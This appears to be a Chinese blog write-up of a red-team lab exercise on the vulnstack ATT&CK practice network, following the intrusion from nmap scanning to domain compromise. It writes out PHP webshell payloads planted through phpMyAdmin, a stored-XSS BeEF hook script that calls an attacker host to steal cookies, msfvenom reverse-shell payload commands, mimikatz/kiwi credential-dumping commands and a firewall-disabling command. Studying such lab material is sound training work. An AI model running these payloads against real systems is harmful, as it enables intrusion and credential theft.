01 ATT&CK红队评估
一、环境搭建
vulnstack-Win2K3 Metasploitable
vulnstack-win7
C盘下开启phpstudy
vulnstack-winserver08
windows7:(内:192.168.52.143 / 外:192.168.31.212(外网根据你的物理机进行分配))
windows2003:(内:192.168.52.141)
windows2008:(内:192.168.52.138)
二、信息搜集
(1)nmap
nmap -T4 -A 192.168.31.212 -o 212.txt
212.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-19 11:26 CST
Nmap scan report for stu1 (192.168.31.212)
Host is up (0.00061s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open msrpc Microsoft Windows RPC
1026/tcp open msrpc Microsoft Windows RPC
1027/tcp open msrpc Microsoft Windows RPC
1028/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql MySQL (unauthorized)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -24s, deviation: 0s, median: -25s
| smb2-time:
| date: 2023-07-19T03:27:30
|_ start_date: 2023-07-19T01:50:17
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 210:
|_ Message signing enabled but not required
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29b43b31 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.47 seconds
(2)dirsearch 80端口探测
[11:28:33] 200 - 14KB - /l.php
[11:28:40] 301 - 241B - /phpMyAdmin -> http://192.168.31.212/phpMyAdmin/
[11:28:42] 200 - 4KB - /phpMyAdmin/index.php
[11:28:42] 200 - 4KB - /phpMyAdmin/
[11:28:42] 200 - 4KB - /phpMyadmin/
[11:28:42] 200 - 71KB - /phpinfo.php
[11:28:42] 200 - 4KB - /phpmyAdmin/
[11:28:42] 301 - 241B - /phpmyadmin -> http://192.168.31.212/phpmyadmin/
[11:28:42] 200 - 4KB - /phpmyadmin/
[11:28:42] 200 - 2KB - /phpmyadmin/README
[11:28:42] 200 - 32KB - /phpmyadmin/ChangeLog
[11:28:42] 200 - 4KB - /phpmyadmin/index.php
[11:28:56] 403 - 226B - /web.config::$DATA
三、web渗透
(1)弱口令登录
http://192.168.31.212/phpmyadmin/ 弱密码 root root
(2)phpmyadmin写马
phpmyadmin中写马两种思路
一,在网站根目录下
①查select @@basedir;
②利用into outfile进行写
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/cc.php';#网站的根目录
查看 secure-file-priv 当前的值
show variables like '%secure%';
写马失败
二,利用mysql日志写文件
general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
general log file 指的是日志的保存路径。
show variables like '%general%'; #查看日志状态-->即可爆出日志的保存状态和保存路径
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='根目录'#即设置日志保存的根目录的地址-->即典型你要写马的位置
SELECT '<?php eval($_POST["cmd"]);?>'#执行语句-->即在日志文件中会直接生成
general_log_file C:\phpStudy\MySQL\data\stu1.log
SET GLOBAL general_log='on';
SET GLOBAL general_log_file='C:\phpStudy\WWW\xiaoyu.php';
写马
访问:
win7崩了哈哈😂
192.168.31.212 ---->192.168.31.177
四、web渗透2
在蚁剑中看到目录yxcms
访问:http://192.168.31.177/yxcms
后台登陆:http://192.168.31.177/yxcms//index.php?r=admin/index/login
写马:前台模块-管理模块文档-新建
通过之前的渗透找马的路径
ip/yxcms/protected/apps/default/view/default/xiaoyu2.php
成功
![在这里插入图片描述](https://img-blog.csdnimg.cn/2dcacc4cc6894a0d949cee9961e5aa17.png
四、web渗透3
假如不知后台账密,也没有phpmyadmin弱口令,如何getshell
开始打点
yxcms历史漏洞xss注入(存储型XSS)
kali模拟后台
确定网站存在存储型 XXS 后,计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息
(1)beef-xss安装
sudo apt-get install beef-xss
sudo beef-xss.
第一次启动beef要修改密码,要仔细看清楚
(2)快速上手beef-xss
http://127.0.0.1:3000/ui/panel
beef的管理面板
输入自己的账号 beef 密码
查看kali的ip地址
构造下面js代码,想办法去浏览器执行
回到靶机
构造下面js代码,留言板上提交
<script src="http://192.168.31.240:3000/hook.js"></script>(ip用你自己kali的ip)
kali模拟后台审核
成功获取信息
beef管理平台
利 用 Burp Suite 代 理 工 具 , 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 , 在Proxy—>Option—>Match and Replace 板块添加一个规则:^Cookie.*$,其中Cookie 填入 beef-xss 中获取的 cookie 消息,添加好后把 enabled 勾上,这样每次经过 burp 的请求都是固定的 cookie
抓包:http://192.168.31.177/yxcms//index.php?r=admin/index/login
直接访问:http://192.168.31.177/yxcms//index.php?r=admin/index
进入后台管理后和前面一样上马
不一样的就是不知道目录,马的地址
查
逐级爆破
运气比较好发现了info.php
那我们也就知道了目录,info.php和index_index.php应该在同一目录下或者直接写马进info.php
over
四、内网信息收集
fscan蚁剑上传
蚁剑命令执行ipconfig
内网信息
fscan.exe -h 192.168.52.0/24
192.168.52.141:7002 open
192.168.52.141:7001 open
192.168.52.138:135 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:21 open
192.168.52.143:3306 open
192.168.52.141:445 open
192.168.52.143:445 open
192.168.52.138:445 open
192.168.52.141:139 open
192.168.52.143:139 open
192.168.52.138:139 open
192.168.52.141:135 open
192.168.52.143:135 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.138:88 open
[*] NetInfo:
[*]192.168.52.143
[->]stu1
[->]192.168.31.177
[->]192.168.52.143
[->]169.254.129.186
[+] 192.168.52.143 MS17-010 (Windows 7 Professional 7601 Service Pack 1)
[*] NetInfo:
[*]192.168.52.141
[->]root-tvi862ubeh
[->]192.168.52.141
[*] NetInfo:
[*]192.168.52.138
[->]owa
[->]192.168.52.138
[*] NetBios: 192.168.52.143 stu1.god.org Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.141 MS17-010 (Windows Server 2003 3790)
[*] WebTitle: http://192.168.52.141:7002 code:200 len:2632 title:Sentinel Keys License Monitor
[*] NetBios: 192.168.52.138 [+] DC:owa.god.org Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.138 MS17-010 (Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[+] ftp://192.168.52.141:21:anonymous
[*] WebTitle: http://192.168.52.141:8099 code:403 len:1409 title:The page must be viewed over a secure channel
[*] WebTitle: http://192.168.52.143 code:200 len:14749 title:phpStudy 探针 2014
[*] WebTitle: http://192.168.52.138 code:200 len:689 title:IIS7
发现两台终端及相关漏洞
192.168.52.138
192.168.52.141
cs部署后门
cs新建监听
生成后门
执行xiaoyu.exe
cs上线
提权到 SYSTEM 系统权限账户
提权成功
接下来就看一下大佬的wp吧
因为我也是来学的
(1)使用ipconfig /all 判断是否存在域, 可以看到存在gob.org域
(2) 获取域内用户的详细信息:wmic useraccount get /all
(3) 查看是否存在杀毒进程:tasklist
除了使用CS外,我们也可以使用msf进入操作。
msf渗透
(1)使用msf生成xiaoyu2.exe
msfconsole -p windows/x64/meterpreter/reverse_tcp lHOST=192.168.31.240 LPORT=6666 -f exe > xiaoyu2.exe
(2) 将xiaoyu2.exe使用蚁剑上传到web服务器中。msf开启监听
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.31.240
set lport 6666
exploit
我靠,6666没监听到
反弹成功,换一个端口5678
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.240 LPORT=5678 -f exe -o xiaoyu3.exe
haohaoaho~
还是不行,玩把大的LPORT=14444
nononononononon
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.240 lport=1000 -f exe -o xiaoyu5.exe
第五个啦,终于mei成功
无效
再来一个,网安人咱不怕
(3) 运行xiaoyu5.exe,msf成功反弹shell
中文kali不行
(4) msf中getsystem也可直接提权
(5)MSF使用_MSF中kiwi(mimikatz)模块的使用
1) 首先:提权到system权限:
一是当前的权限是administrator用户;
二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。
2)进程迁移
kiwi模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。
所以如果目标系统是64位的,则必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载kiwi并且查看系统明文。如果目标系统是32位的,则没有这个限制。
查看进程信息:ps
把进程迁移到PID为212这个程序中(因为当前用户):
lsm.exe是一个系统进程,为本地会话管理器服务
注:因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
load kiwi #加载kiwi模块
help kiwi #查看kiwi模块的使用
creds_all: #列举所有凭据
creds_kerberos: #列举所有kerberos凭据
后面这些还有些没懂
creds_msv: #列举所有msv凭据
creds_ssp: #列举所有ssp凭据
creds_tspkg: #列举所有tspkg凭据
creds_wdigest: #列举所有wdigest凭据
dcsync: #通过DCSync检索用户帐户信息
dcsync_ntlm: #通过DCSync检索用户帐户NTLM散列、SID和RID
golden_ticket_create: #创建黄金票据
kerberos_ticket_list: #列举kerberos票据
kerberos_ticket_purge: #清除kerberos票据
kerberos_ticket_use: #使用kerberos票据
kiwi_cmd: #执行mimikatz的命令,后面接mimikatz.exe的命令
lsa_dump_sam: #dump出lsa的SAM
lsa_dump_secrets: #dump出lsa的密文
password_change: #修改密码
wifi_list: #列出当前用户的wifi配置文件
wifi_list_shared: #列出共享wifi配置文件/编码
内网横向
(1)获取到一个 cs 的 beacon 后可以目标内网情况和端口开放情况
在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan
(2). 执行后可以在 Targets 选项卡看到扫描出来的主机
(3). 用 cs 的 hashdump 读内存密码:hashdump,用 mimikatz 读注册表密码:logonpasswords
4.横向移动
这里有很多种方式,可以:
1.)cs 上开通 socks 通道,在攻击机上用 proxychains 将攻击机的 msf 代入内网,但是 cs 的 socks 代理不稳定
2.)ew 添加转接隧道,在攻击机上用 proxychains 将攻击机的 msf 代入内网
3.)cs 派生到 msf,msf 使用 socks4a 代理进内网,但是并不稳定
4.)cs 派生到 msf,msf 使用使用 autoroute 添加路由进内网
5.)用 frp 创建 socks5 代理
5.SMB Beacon
另外这里还要介绍下 cs 派生 SMB Beacon
SMB Beacon 使用命名管道通过父级 Beacon 进行通讯,当两个 Beacons 链接后,子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信,此流量封装在 SMB 协议中,所以 SMB Beacon 相对隐蔽,绕防火墙时可能发挥奇效
简单来说,SMB Beacon 有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的 hash
1)新建一个 Listener,payload 设置为 Beacon SMB:
2)选择后会反弹一个子会话,在 external 的 ip 后面会有一个链接的小图标:
这就是派生的 SMB Beacon,当前没有连接
可以在主 Beacon 上用 link host 连接它,或者 unlink host 断开它
第二种在已有的 beacon 上创建监听,用来作为跳板进行内网穿透
前提是能够通过 shell 之类访问到内网其他主机
- psexec使用凭证登录其他主机
前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息
于是可以尝试使用 psexec 模块登录其他主机
1)右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块
最重要的没复现出来,跪求大佬指导一下,
最后,勉励一下,学习至上,虽然最后横向移动没复现但是前面还是学到好多
接着
查看防火墙状态
shell netsh firewall show state
关闭防火墙
shell netsh advfirewall set allprofile state off
域渗透
查看当前域内列表
执行成功后cs会将域内主机添加进去
查看域控列表
net dclist
抓取服务器凭证
抓取明文密码
logonpasswords
创建smb监听器
横向
game over